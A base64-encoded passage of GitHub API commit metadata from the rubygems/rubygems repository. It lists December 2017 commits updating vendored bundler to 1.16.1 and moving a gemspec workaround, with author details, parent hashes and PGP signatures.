Oi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZTRmNDhmZjMxYTFhMzUzZjkxYWQ2OTFkZDEzNWQ0YTZjYmMwYzNmYyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lNGY0OGZmMzFhMWEzNTNmOTFhZDY5MWRkMTM1ZDRhNmNiYzBjM2ZjIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2U0ZjQ4ZmYzMWExYTM1M2Y5MWFkNjkxZGQxMzVkNGE2Y2JjMGMzZmMifV19LHsic2hhIjoiZTRmNDhmZjMxYTFhMzUzZjkxYWQ2OTFkZDEzNWQ0YTZjYmMwYzNmYyIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMi0yMlQwNjozNDoyNloifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMTItMjJUMDY6MzQ6MjZaIn0sIm1lc3NhZ2UiOiJBdXRvIG1lcmdlIG9mICMyMTIxIC0gcnVieWdlbXM6YnVuZGxlci0xLTE2LTEsIHI9aHNidFxuXG5UbyB1c2UgYnVuZGxlci0xLjE2LjFcblxuVXBkYXRlIHZlbmRvcmVkIGJ1bmRsZXIgdG8gMS4xNi4xLiIsInRyZWUiOnsic2hhIjoiZTkwYzcwYTk0OGFlZTJjNDZkYTAzNmIwYzlkNDhmMDBiMGJjYzVkNyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2U5MGM3MGE5NDhhZWUyYzQ2ZGEwMzZiMGM5ZDQ4ZjAwYjBiY2M1ZDcifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9lNGY0OGZmMzFhMWEzNTNmOTFhZDY5MWRkMTM1ZDRhNmNiYzBjM2ZjIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2U0ZjQ4ZmYzMWExYTM1M2Y5MWFkNjkxZGQxMzVkNGE2Y2JjMGMzZmMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZTRmNDhmZjMxYTFhMzUzZjkxYWQ2OTFkZDEzNWQ0YTZjYmMwYzNmYyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lNGY0OGZmMzFhMWEzNTNmOTFhZDY5MWRkMTM1ZDRhNmNiYzBjM2ZjL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiYnVuZGxlcmJvdCIsImlkIjoxMzYxNDYyMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTM2MTQ2MjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyYm90IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiODE0ZWE3YTRhMDA5ODk2NmRkN2VjZDJkOWNhZDNmYmYxNjE1ZjJlMCIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy84MTRlYTdhNGEwMDk4OTY2ZGQ3ZWNkMmQ5Y2FkM2ZiZjE2MTVmMmUwIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzgxNGVhN2E0YTAwOTg5NjZkZDdlY2QyZDljYWQzZmJmMTYxNWYyZTAifSx7InNoYSI6IjY3YzE1ODQxNGIwNTNiMzFjNGVmMDM2MzBjNGNlNzE4NmU2NTc3ZjMiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNjdjMTU4NDE0YjA1M2IzMWM0ZWYwMzYzMGM0Y2U3MTg2ZTY1NzdmMyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC82N2MxNTg0MTRiMDUzYjMxYzRlZjAzNjMwYzRjZTcxODZlNjU3N2YzIn1dfSx7InNoYSI6IjY3YzE1ODQxNGIwNTNiMzFjNGVmMDM2MzBjNGNlNzE4NmU2NTc3ZjMiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTIyVDA1OjUyOjIyWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjJUMDU6NTI6MjJaIn0sIm1lc3NhZ2UiOiJNb3ZlIGdlbXNwZWMgd29ya2Fyb3VuZCB0byBSYWtlZmlsZS4gSXQgbmVlZHMgdG8gdHJlYXQgYmVmb3JlIGxvYWRpbmcgdGVzdCBzdWl0ZSIsInRyZWUiOnsic2hhIjoiZTkwYzcwYTk0OGFlZTJjNDZkYTAzNmIwYzlkNDhmMDBiMGJjYzVkNyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2U5MGM3MGE5NDhhZWUyYzQ2ZGEwMzZiMGM5ZDQ4ZjAwYjBiY2M1ZDcifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy82N2MxNTg0MTRiMDUzYjMxYzRlZjAzNjMwYzRjZTcxODZlNjU3N2YzIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5cbmlRRXpCQUFCQ0FBZEZpRUU1MExSOTBKT28vM3BJdmRtK2M4VFFYSmsrc0lGQWxvOG5aWUFDZ2tRK2M4VFFYSmtcbitzTHdlZ2dBdjFvcHJOcTJkVjRNV1RENkNXUFBvM3Rvc242ZCtXRCtyS2NNY0dmb3FOUzMyaWpIcENKS0wvMERcbnE0RWoxTjdubk9NV0JLNnczODZBK1ZrTVU5UTFpZWFaQzVFVWVoZTYzOFg4NTEvY2FLT3dUYTBsVEpwZHFuS1ZcbnZIM2Q5dXhlMlU4dGhBS05rK0UvMGcxWFZUOHIxMVdLT1d3aHFMRHl4K0tPaUN4TFk2VlQxMCtsb3djZG1IbWpcbmtqSzFsSmJ6eGdkeFBnOFlyRkF2N2NWZWNsQk9SSUsrSmRweTdSUmZuc2krdGhEeWYzWWJFdlZtYjdpbmRmaXNcbjF1bXpPVE5Ebk55U0Y3c2lobkxEMmdjWVFaZ04zUEREbUZkbGszbzRia2JDWXMyZy9IQ0F3VytINGxKdldjakNcbjBtbDRkNk4zN243QktmMWdRdWEwdEY4aWN5Qld3Zz09XG49dmZmdVxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgZTkwYzcwYTk0OGFlZTJjNDZkYTAzNmIwYzlkNDhmMDBiMGJjYzVkN1xucGFyZW50IDIzZDA0OTg4NjA0NGEyYmNjMTgxY2E0NWI4OGFmNTAzNjgxMGQ3MTFcbmF1dGhvciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMzkyMTk0MiArMDkwMFxuY29tbWl0dGVyIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTEzOTIxOTQyICswOTAwXG5cbk1vdmUgZ2Vtc3BlYyB3b3JrYXJvdW5kIHRvIFJha2VmaWxlLiBJdCBuZWVkcyB0byB0cmVhdCBiZWZvcmUgbG9hZGluZyB0ZXN0IHN1aXRlXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82N2MxNTg0MTRiMDUzYjMxYzRlZjAzNjMwYzRjZTcxODZlNjU3N2YzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzY3YzE1ODQxNGIwNTNiMzFjNGVmMDM2MzBjNGNlNzE4NmU2NTc3ZjMiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNjdjMTU4NDE0YjA1M2IzMWM0ZWYwMzYzMGM0Y2U3MTg2ZTY1NzdmMy9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjIzZDA0OTg4NjA0NGEyYmNjMTgxY2E0NWI4OGFmNTAzNjgxMGQ3MTEiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMjNkMDQ5ODg2MDQ0YTJiY2MxODFjYTQ1Yjg4YWY1MDM2ODEwZDcxMSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8yM2QwNDk4ODYwNDRhMmJjYzE4MWNhNDViODhhZjUwMzY4MTBkNzExIn1dfSx7InNoYSI6IjIzZDA0OTg4NjA0NGEyYmNjMTgxY2E0NWI4OGFmNTAzNjgxMGQ3MTEiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTEyLTIyVDA1OjA4OjE0WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNISUJBVEEgSGlyb3NoaSIsImVtYWlsIjoiaHNidEBydWJ5LWxhbmcub3JnIiwiZGF0ZSI6IjIwMTctMTItMjJUMDU6MDg6MTRaIn0sIm1lc3NhZ2UiOiJXb3JrYXJvdW5kIGZvciBidW5kbGVyIGdlbXNwZWMiLCJ0cmVlIjp7InNoYSI6IjQwNTIxZmIyY2M5OWRhYTVlM2UzM2M2NmI3YmQyZTk1MTQ3ZWQyMGIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy80MDUyMWZiMmNjOTlkYWE1ZTNlMzNjNjZiN2JkMmU5NTE0N2VkMjBiIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvMjNkMDQ5ODg2MDQ0YTJiY2MxODFjYTQ1Yjg4YWY1MDM2ODEwZDcxMSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuXG5pUUV6QkFBQkNBQWRGaUVFNTBMUjkwSk9vLzNwSXZkbStjOFRRWEprK3NJRkFsbzhrejRBQ2drUStjOFRRWEprXG4rc0xpb3dmK0ltc0E0WkI1TmR0QmdrckhoSVBuMzhueUUwTExwRkR6REFZSUpPejNQdjEzenh0dThHY2hncTFmXG5hT3BCVXFURjV0MXYxU3FqYVEyWHVudkdDT3p4SjdjM1RkNGU2NW80OW1XOEpUYUhYczVrVlBLQzUyei9ZcVgvXG5YMElEUHF1ZG9mSFJncVNSWE5nRFpsWW9jVFI4YzNYYWlKTnpSZlkwVllqV1dneUJIL3BFZUUzS0FlWjhwUXJhXG5wMzQzVFBXNzJ4dG0vQlZCRmV6cFZUait2S3RCSjJ6anRiUlAxdU5RV3NmM0tldUJ2RENvbWx6YjQ0aDk1bG5RXG40MDQ0eDhFbDVVWlZvb0QybU8vcWNWM3FIZUZFUGEzdW9kZzNHUi9QR3FZVGw4N0h6WklCVHp1N2NlTlZhUzBMXG5sSjgyR3pBa0FvemRyU08zT0gvT3puWWpuSUR3QkE9PVxuPU4yTzlcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDQwNTIxZmIyY2M5OWRhYTVlM2UzM2M2NmI3YmQyZTk1MTQ3ZWQyMGJcbnBhcmVudCA5NzE2ZDc3MDk3OGM2OTU1NDhiZTNjYzU5NDc3MDc5OWIwZWVjMTYzXG5hdXRob3IgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MTM5MTkyOTQgKzA5MDBcbmNvbW1pdHRlciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMzkxOTI5NCArMDkwMFxuXG5Xb3JrYXJvdW5kIGZvciBidW5kbGVyIGdlbXNwZWNcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzIzZDA0OTg4NjA0NGEyYmNjMTgxY2E0NWI4OGFmNTAzNjgxMGQ3MTEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMjNkMDQ5ODg2MDQ0YTJiY2MxODFjYTQ1Yjg4YWY1MDM2ODEwZDcxMSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8yM2QwNDk4ODYwNDRhMmJjYzE4MWNhNDViODhhZjUwMzY4MTBkNzExL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLC